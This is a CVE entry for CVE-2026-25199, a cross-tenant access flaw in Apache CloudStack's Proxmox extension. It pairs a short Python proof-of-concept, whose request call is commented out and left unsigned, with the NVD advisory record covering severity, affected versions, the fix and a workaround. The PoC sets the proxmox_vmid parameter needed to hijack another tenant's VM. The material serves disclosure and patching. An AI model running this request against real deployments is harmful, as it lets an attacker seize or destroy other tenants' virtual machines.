CVE-2026-25199

#!/usr/bin/env python3 """ PoC for CVE-2026-25199: Apache CloudStack Proxmox Extension IDOR Demonstrates altering the proxmox_vmid to hijack another tenant's VM. """ import requests TARGET_API = "https://cloudstack-server:8080/client/api" API_KEY = "ATTACKER_API_KEY" SECRET_KEY = "ATTACKER_SECRET_KEY" # Attacker controls their own instance, but targets a specific Proxmox VMID ATTACKER_VM_ID = "i-3-00000001" TARGET_PROXMOX_VMID = "105" # Predicted or known victim VM ID def exploit(): payload = { "command": "updateVirtualMachine", "id": ATTACKER_VM_ID, "details[0].key": "proxmox_vmid", "details[0].value": TARGET_PROXMOX_VMID, "apikey": API_KEY, "response": "json" } # In a real scenario, sign the request with SECRET_KEY print(f"[*] Sending request to bind VM {ATTACKER_VM_ID} to Proxmox ID {TARGET_PROXMOX_VMID}") # r = requests.get(TARGET_API, params=payload) # print(r.text) if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-25199", "sourceIdentifier": "[email protected]", "published": "2026-05-08T13:16:36.273", "lastModified": "2026-05-09T07:16:09.180", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Instances deployed via the Proxmox extension allow unauthorized access to instances belonging to other tenants.\n\n\n\n\nThis issue affects Apache CloudStack: from 4.21.0.0 through 4.22.0.0.\n\n\n\n\nThe Proxmox extension for CloudStack improperly uses a user-editable instance setting, proxmox_vmid, to associate CloudStack instances with Proxmox virtual machines. Because this value is not restricted or validated against tenant ownership and Proxmox VM IDs are predictable, a non-privileged attacker can modify the setting to reference a VM belonging to another account. This allows unauthorized cross-tenant access and enables full control over the targeted VM, including starting, stopping, and destroying the virtual machine.\n\n\n\n\nUsers are recommended to upgrade to version 4.22.0.1, which fixes this issue.\n\n\n\n\nAs a workaround for the existing installations, editing of the proxmox_vmid instance detail by users can be prevented by adding this detail name to the global configuration parameter - user.vm.denied.details."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:cloudstack:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.21.0.0", "versionEndExcluding": "4.22.0.1", "matchCriteriaId": "78690ED1-C4B3-4DC9-9B53-FB31D6D17125"}]}]}], "references": [{"url": "https://lists.apache.org/thread/n8mt5b7wkpysstb8w7rr9f02kc5cq2xm", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/09/7", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}